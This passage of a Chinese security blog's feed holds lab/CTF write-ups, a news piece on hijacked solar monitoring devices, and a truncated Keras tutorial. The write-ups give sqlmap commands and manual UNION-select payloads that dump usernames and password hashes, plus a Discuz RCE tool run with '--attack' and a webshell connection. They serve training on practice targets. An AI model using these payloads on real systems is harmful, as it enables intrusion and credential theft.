[7].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;根据表中的status，为1的用户才可使用，使用mozhe3登录，我去，账号和密码错误，那说明不是这个表。那再试试这个表(@dmin9_td4b}&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041023820248.png&quot; title=&quot;Image [8].png&quot; alt=&quot;Image [8].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;这里要注意了，这个表名有点特殊，有特殊字符，这个简单，使用转义技巧来确保SQLMap生成的SQL语句正确执行。暴字段的语句如下：&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;python sqlmap.py -u &amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot; -p id --level 5 --risk 3 -D min_ju4t_mel1i -T&amp;nbsp;&amp;nbsp;&amp;quot;`(@dmin9_td4b}`&amp;quot; --columns --batch&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041047197197.png&quot; title=&quot;Image [9].png&quot; alt=&quot;Image [9].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;再dump下字段内容&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;python sqlmap.py -u &amp;quot;http://124.70.64.48:48706/new_list.php?id=1&amp;quot; -p id --level 5 --risk 3 -D min_ju4t_mel1i -T&amp;nbsp;&amp;nbsp;&amp;quot;`(@dmin9_td4b}`&amp;quot; --dump -C status,username,password --batch&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041070935264.png&quot; title=&quot;Image [10].png&quot; alt=&quot;Image [10].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;这里，也是只有mozhe3用户未禁用，将哈希值放到md5中查询。&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041098143530.png&quot; title=&quot;Image [11].png&quot; alt=&quot;Image [11].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;再登录系统试试，能够成功登录，并找到key&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041119494665.png&quot; title=&quot;Image [12].png&quot; alt=&quot;Image [12].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;-en-clipboard:true;&quot;&gt;&lt;div&gt;mozhe08d33cd3b9c31e075575fd088fa&lt;/div&gt;&lt;/div&gt;&lt;div&gt;好了，明天继续手功完成这一操作。&lt;/div&gt;&lt;div&gt;现在是2025年01月05日，早上8：29，现在继续进行手功注入。&lt;/div&gt;&lt;div&gt;首看这个注入点是数字型的还是字符型的。&lt;/div&gt;&lt;div&gt;在注入点分别输入1，1+2,发现没变化，初就判断为字符型注入&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041150195952.png&quot; title=&quot;Image [13].png&quot; alt=&quot;Image [13].png&quot;/&gt;再输入字符a，看看是什么结果，从这里来看，应该是字符型的注入了&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041176107747.png&quot; title=&quot;Image [14].png&quot; alt=&quot;Image [14].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那就先进行暴数据库名，在这里，要想暴数据库名，那首先要知道查询结果中会有多少列。通过上图的表看，查询结果中至少有5个字段（除了上面显示的商品名称、商品类型、商品品牌，商品价格4个名，应该还有一个看不到的id。那先测试一下吧。&lt;/div&gt;&lt;div&gt;这里要注意，id=-1是为了这个条件查不出结果，而是要使用后面查询的结果。&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,3,4,5;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 9pt; color: #333333; font-family: Monaco;&quot;&gt;发现提示：列名数量不一致。&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041211738131.png&quot; title=&quot;Image [15].png&quot; alt=&quot;Image [15].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;&lt;span style=&quot;font-size: 9pt; color: #333333; font-family: Monaco;&quot;&gt;那就再增加1个&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,3,4,5,6;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;还是同样的提示&lt;/div&gt;&lt;div&gt;那再增加1列&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,3,4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;这时有结果了：&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041241352714.png&quot; title=&quot;Image [16].png&quot; alt=&quot;Image [16].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那我们就在3这个位置暴当前数据库名吧，输入：&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,database(),4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041264609746.png&quot; title=&quot;Image [17].png&quot; alt=&quot;Image [17].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;当前的数据库名已暴出，如果想暴出所有数据库名怎么做呢？&lt;/div&gt;&lt;div&gt;使用以下语句：&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,(select group_concat(0x7e,schema_name,0x7e) from information_schema.schemata),4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041284200133.png&quot; title=&quot;Image [18].png&quot; alt=&quot;Image [18].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;所有数据库名就出来了。&lt;/div&gt;&lt;div&gt;现在知道了数据库名，那就看看有哪些表吧。&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,(select group_concat(0x7e,table_name,0x7e)&amp;nbsp;&amp;nbsp;from information_schema.tables where table_schema=&amp;quot;min_ju4t_mel1i&amp;quot;),4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041312110782.png&quot; title=&quot;Image [19].png&quot; alt=&quot;Image [19].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;表已暴出，那现在暴字段了。&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,(select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_schema=&amp;quot;min_ju4t_mel1i&amp;quot; and table_name=&amp;quot;(@dmin9_td4b}&amp;quot;),4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041345123863.png&quot; title=&quot;Image [20].png&quot; alt=&quot;Image [20].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;现在开始暴字段中的内容。&lt;/div&gt;&lt;div style=&quot;box-sizing: border-box; padding: 8px; font-family: Monaco, Menlo, Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 12px; color: rgb(51, 51, 51); border-radius: 4px; background-color: rgb(251, 250, 248); border: 1px solid rgba(0, 0, 0, 0.15);-en-codeblock:true;&quot;&gt;&lt;div&gt;&lt;a href=&quot;http://124.70.64.48:43657/new_list.php?id=-1&quot;&gt;http://124.70.64.48:43657/new_list.php?id=-1&lt;/a&gt;&amp;#39; union select 1,2,(select group_concat(status,0x3a,username,0x3a,password) from `(@dmin9_td4b}` ),4,5,6,7;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501051736041374402915.png&quot; title=&quot;Image [21].png&quot; alt=&quot;Image [21].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;手工注入到此结束！！！&lt;/p&gt;</description><pubDate>Sun, 05 Jan 2025 09:29:53 +0800</pubDate></item><item><title>CMS系统漏洞分析溯源(第9题)</title><link>http://www.itsec365.cn/?id=74</link><description>&lt;p&gt;三天不学习，赶不上刘少奇；一天不用功，赶不上毛泽东。后面那半句是我加上的：）&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965701448462.png&quot; title=&quot;Image [1].png&quot; alt=&quot;Image [1].png&quot;/&gt;使用AppScan扫描无果（虽然暴有很多漏洞，但无法被利用）&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965728202611.png&quot; title=&quot;Image [2].png&quot; alt=&quot;Image [2].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;使用AWVS扫描也无果&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965762975831.png&quot; title=&quot;Image [3].png&quot; alt=&quot;Image [3].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;就想到网上应该暴Discuz漏洞，于是到github上搜索了一翻。果然找到这样一个工具。&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/tr0uble-mAker/POC-bomber.git&quot;&gt;https://github.com/tr0uble-mAker/POC-bomber.git&lt;/a&gt;&lt;/div&gt;&lt;div&gt;其中一个POC是关于6，7版本的漏洞&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965804195533.png&quot; title=&quot;Image [4].png&quot; alt=&quot;Image [4].png&quot;/&gt;于是下载下来，进行扫描，给你来个意外惊喜：）&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;python&amp;nbsp;pocbomber.py&amp;nbsp;-u&amp;nbsp;http://124.70.71.251:45514/&amp;nbsp;--poc=&amp;quot;discuz67x_rce.py&amp;quot;&amp;nbsp;--attack&lt;/pre&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965867289931.png&quot; title=&quot;Image [5].png&quot; alt=&quot;Image [5].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;那就下载个蚁剑吧，使用蚁剑连接&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965890534118.png&quot; title=&quot;Image [6].png&quot; alt=&quot;Image [6].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;连接成功！！！！&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965918618070.png&quot; title=&quot;Image [7].png&quot; alt=&quot;Image [7].png&quot;/&gt;&lt;/p&gt;&lt;div style=&quot;-en-clipboard:true;&quot;&gt;那就在目录里找找你的key吧。&lt;/div&gt;&lt;div&gt;晕的，找了半天，这个key竟然在根目录。&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965943591003.png&quot; title=&quot;Image [8].png&quot; alt=&quot;Image [8].png&quot;/&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965976193003.png&quot; title=&quot;Image [9].png&quot; alt=&quot;Image [9].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;提交KEY&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2025/01/202501041735965991379846.png&quot; title=&quot;Image [10].png&quot; alt=&quot;Image [10].png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sat, 04 Jan 2025 12:37:16 +0800</pubDate></item><item><title>全球首例！黑客劫持了光伏电站，新能源系统还安全吗？</title><link>http://www.itsec365.cn/?id=73</link><description>&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2024/05/202405281716853912839909.png&quot; title=&quot;微信图片_20240528074833.png&quot; alt=&quot;微信图片_20240528074833.png&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;光伏（PV）系统作为电网的重要组成部分，其运行和维护越来越依赖于标准的信息技术（IT）计算和网络基础设施。然而，这种依赖性使光伏系统面临更高的脆弱性和网络攻击风险。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;5月1日，日本媒体《产经新闻》报道，黑客劫持了大约800个太阳能发电设施远程监控设备，其中部分设备被滥用以窃取银行账户并骗取存款。黑客在网络攻击过程中接管了这些设备，以隐藏他们的在线身份。这可能是全球首例公开证实的针对太阳能电网基础设施的网络攻击。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;据电子设备制造商Contec称，该公司生产的SolarView Compact远程监控设备被滥用。该设备连接到互联网，由运营发电设施的公司用来监控发电量并检测异常情况。Contec已售出约 10,000 台设备，但截至2020年，其中约 800 台设备在应对网络攻击方面存在缺陷。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;据悉，攻击者利用了Palo Alto Networks在2023年6月发现的一个漏洞（CVE-2022-29303）传播Mirai僵尸网络。攻击者甚至在Youtube上发布了如何SolarView系统上利用漏洞的“教学视频”。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;黑客利用该缺陷渗透远程监控设备并设置“后门”程序，使它们能够从外部进行操纵。他们操纵设备非法连接网上银行，将资金从金融机构账户转入黑客账户，从而盗取资金。Contec随后在2023年7月18日修补了该漏洞。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;2024 年5月7日，Contec确认远程监控设备遭受了最新攻击，并对由此造成的不便表示歉意。该公司向发电设施运营商通报了这一问题，并敦促他们将设备软件更新到最新版本。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;在接受分析师采访时，韩国网络安全公司S2W表示，这次攻击的幕后黑手是一个名为Arsenal Depository的黑客组织。2024年1月，S2W曾指出该组织在日本政府排放福岛核电站污染水后，发起了针对日本基础设施的“日本行动”黑客攻击。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;对于人们对发电设施可能会受到干扰的担心，专家表示，明显的经济动机让他们相信攻击者的目标不是电网运营。DER Security 首席执行官 Thomas Tansy表示：“此次攻击中，黑客寻找的是可以用来进行敲诈勒索的计算设备。劫持这些设备与劫持工业摄像头、家用路由器或其他联网设备并无二致。”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2024/05/202405281716854026169404.png&quot; title=&quot;微信图片_20240528074901.png&quot; alt=&quot;微信图片_20240528074901.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;不过，此类攻击的潜在风险巨大。Thomas Tansy补充说道：“但是，如果黑客的目标转向破坏电网，完全可以利用这些未打补丁的设备实施更具破坏性的攻击（例如中断电网），因为攻击者已经成功进入系统，他们只需要再学习一些光伏领域的专业知识。&amp;quot;&lt;/p&gt;&lt;p&gt;Secura 团队经理Wilem Westerhof指出，访问监控系统将授予对实际光伏装置的一定程度的访问权限，你可以尝试利用该访问权限来攻击同一网络中的任何东西。Westerhof同时警告称，大型光伏电网通常有一个中央控制系统，如果被入侵，黑客可以接管不止一个光伏电场，频繁关闭或打开光伏设备，对光伏电网的运营造成严重影响。&lt;/p&gt;&lt;p&gt;安全专家指出，由太阳能电池板组成的分布式能源 (DER) 面临的网络安全风险更为严重，而光伏逆变器在此类基础设施中发挥着关键作用。后者负责将太阳能板产生的直流电转换为电网使用的交流电，是电网控制系统的接口。最新的逆变器具有通信功能，可连接到电网或者云服务，这增加了这些设备被攻击的风险。受损的逆变器不仅会破坏能源生产，还会造成严重的安全风险并损害整个电网的完整性。&lt;/p&gt;&lt;p&gt;北美电力可靠性公司（NERC）警告称，逆变器的缺陷对大容量电力供应（BPS）可靠性构成“重大风险”，并可能导致“大面积停电”。美国能源部在2022年曾警告说，针对逆变器的网络攻击可能会降低电网的可靠性和稳定性。&lt;/p&gt;&lt;p&gt;2023年5月，荷兰国家数字基础设施督察局(RDI)的研究人员报告称，他们检查了8家制造商的9种逆变器，发现没有一款符合RDI的安全标准。研究人员表示：“这意味着太阳能电池板装置等很容易受到黑客攻击，被关闭或用于DDoS攻击。用户和运营数据也可能会被窃取。”&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2024/05/202405281716854064885981.png&quot; title=&quot;微信图片_20240528075029.png&quot; alt=&quot;微信图片_20240528075029.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;除了光伏系统，风力发电场同样面临着网络威胁。据风险咨询公司 DNV 发布的能源网络威胁报告显示，2017 年，塔尔萨大学的研究人员在风电场运营商的许可下，对美国未具名风电场进行了黑客攻击实验，以测试其漏洞。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;报道称，研究人员撬开锁进入风力涡轮机底座的腔室。他们进入了涡轮机的服务器，获得了代表现场每个联网涡轮机的 IP 地址列表。然后他们让涡轮机停止转动。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;卡巴斯基 ICS CERT 的高级研究员 Stephan Gerling 表示，传统的天然气和核能发电厂通常在与外界隔绝的隔离 IT 基础设施上运行，因此它们受到网络攻击的可能性比物理破坏的可能性要小。相比之下，全球各地越来越多的小型可再生能源装置采用各种第三方系统运行，这些系统以数字方式连接到电网，并且低于安全部门设定的发电监控门槛，能源转型带来的网络漏洞将会日益严重。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap: nowrap;&quot;&gt;随着世界向可再生能源转型，确保能源系统能够抵御网络威胁对于保护能源基础设施和维持电网稳定至关重要。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 28 May 2024 07:47:43 +0800</pubDate></item><item><title>batch_dot的理解</title><link>http://www.itsec365.cn/?id=72</link><description>&lt;p&gt;最近对人工智能很感兴趣，业余时间研究图深度学习，在学习过程中遇到这这样一个函数：keras.backend.batch_dot(x, y, axes=None)&lt;/p&gt;&lt;p&gt;对这个函数中的axes参数一直不理解，看官方的解析：&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;批量化的点积
当&amp;nbsp;x&amp;nbsp;和&amp;nbsp;y&amp;nbsp;是批量数据时，&amp;nbsp;batch_dot&amp;nbsp;用于计算&amp;nbsp;x&amp;nbsp;和&amp;nbsp;y&amp;nbsp;的点积，&amp;nbsp;即尺寸为&amp;nbsp;(batch_size,&amp;nbsp;:)。
batch_dot&amp;nbsp;产生一个比输入尺寸更小的张量或变量。&amp;nbsp;如果维数减少到&amp;nbsp;1，我们使用&amp;nbsp;expand_dims&amp;nbsp;来确保&amp;nbsp;ndim&amp;nbsp;至少为&amp;nbsp;2。
参数
x:&amp;nbsp;ndim&amp;nbsp;&amp;gt;=&amp;nbsp;2&amp;nbsp;的&amp;nbsp;Keras&amp;nbsp;张量或变量。
y:&amp;nbsp;ndim&amp;nbsp;&amp;gt;=&amp;nbsp;2&amp;nbsp;的&amp;nbsp;Keras&amp;nbsp;张量或变量。
axes:&amp;nbsp;表示目标维度的整数或列表。&amp;nbsp;axes[0]&amp;nbsp;和&amp;nbsp;axes[1]&amp;nbsp;的长度必须相同。
返回
一个尺寸等于&amp;nbsp;x&amp;nbsp;的尺寸（减去总和的维度）和&amp;nbsp;y&amp;nbsp;的尺寸（减去批次维度和总和的维度）的连接的张量。&amp;nbsp;如果最后的秩为&amp;nbsp;1，我们将它重新转换为&amp;nbsp;(batch_size,&amp;nbsp;1)。
例子
假设&amp;nbsp;x&amp;nbsp;=&amp;nbsp;[[1,&amp;nbsp;2],&amp;nbsp;[3,&amp;nbsp;4]]&amp;nbsp;和&amp;nbsp;y&amp;nbsp;=&amp;nbsp;[[5,&amp;nbsp;6],&amp;nbsp;[7,&amp;nbsp;8]]，&amp;nbsp;batch_dot(x,&amp;nbsp;y,&amp;nbsp;axes=1)&amp;nbsp;=&amp;nbsp;[[17],&amp;nbsp;[53]]&amp;nbsp;是&amp;nbsp;x.dot(y.T)&amp;nbsp;的主对角线，&amp;nbsp;尽管我们不需要计算非对角元素。
伪代码：
inner_products&amp;nbsp;=&amp;nbsp;[]
for&amp;nbsp;xi,&amp;nbsp;yi&amp;nbsp;in&amp;nbsp;zip(x,&amp;nbsp;y):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;inner_products.append(xi.dot(yi))
result&amp;nbsp;=&amp;nbsp;stack(inner_products)
尺寸推断：&amp;nbsp;让&amp;nbsp;x&amp;nbsp;的尺寸为&amp;nbsp;(100,&amp;nbsp;20)，以及&amp;nbsp;y&amp;nbsp;的尺寸为&amp;nbsp;(100,&amp;nbsp;30,&amp;nbsp;20)。&amp;nbsp;如果&amp;nbsp;axes&amp;nbsp;是&amp;nbsp;(1,&amp;nbsp;2)，要找出结果张量的尺寸，&amp;nbsp;循环&amp;nbsp;x&amp;nbsp;和&amp;nbsp;y&amp;nbsp;的尺寸的每一个维度。
x.shape[0]&amp;nbsp;:&amp;nbsp;100&amp;nbsp;:&amp;nbsp;附加到输出形状，
x.shape[1]&amp;nbsp;:&amp;nbsp;20&amp;nbsp;:&amp;nbsp;不附加到输出形状，&amp;nbsp;x&amp;nbsp;的第一个维度已经被加和了&amp;nbsp;(dot_axes[0]&amp;nbsp;=&amp;nbsp;1)。
y.shape[0]&amp;nbsp;:&amp;nbsp;100&amp;nbsp;:&amp;nbsp;不附加到输出形状，总是忽略&amp;nbsp;y&amp;nbsp;的第一维
y.shape[1]&amp;nbsp;:&amp;nbsp;30&amp;nbsp;:&amp;nbsp;附加到输出形状，
y.shape[2]&amp;nbsp;:&amp;nbsp;20&amp;nbsp;:&amp;nbsp;不附加到输出形状，&amp;nbsp;y&amp;nbsp;的第二个维度已经被加和了&amp;nbsp;(dot_axes[0]&amp;nbsp;=&amp;nbsp;2)。&amp;nbsp;output_shape&amp;nbsp;=&amp;nbsp;(100,&amp;nbsp;30)&lt;/pre&gt;&lt;p&gt;以上解释看的我一头雾水，没办法，自己写程序测试，研究吧。测试程序如下：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;import&amp;nbsp;numpy&amp;nbsp;as&amp;nbsp;np
from&amp;nbsp;tensorflow.keras&amp;nbsp;import&amp;nbsp;backend&amp;nbsp;as&amp;nbsp;K

arr12=np.array(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[[[0,1],[3,4],[6,7]]],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[[0,5],[3,4],[6,7]]],
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[[[0,1],[3,4],[6,7]]]])&amp;nbsp;#(3,1,3,2)

arr13=np.array([[0,1,2],[3,4,5],[6,7,8]])&amp;nbsp;#(3,3)
c&amp;nbsp;=&amp;nbsp;K.batch_dot(arr12,&amp;nbsp;arr13,&amp;nbsp;axes&amp;nbsp;=&amp;nbsp;[2,1])

